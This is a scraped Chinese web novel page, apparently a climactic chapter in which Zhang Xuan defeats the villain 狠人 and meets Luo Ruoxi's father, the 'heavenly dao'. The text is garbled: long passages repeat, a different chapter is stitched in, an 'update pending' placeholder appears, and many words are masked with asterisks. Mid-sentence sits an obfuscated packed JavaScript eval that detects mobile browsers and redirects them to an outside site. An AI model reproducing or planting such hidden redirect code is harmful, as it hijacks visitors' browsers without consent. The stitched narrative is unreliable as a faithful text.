她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273632|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第383章 李二狗被怀疑 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 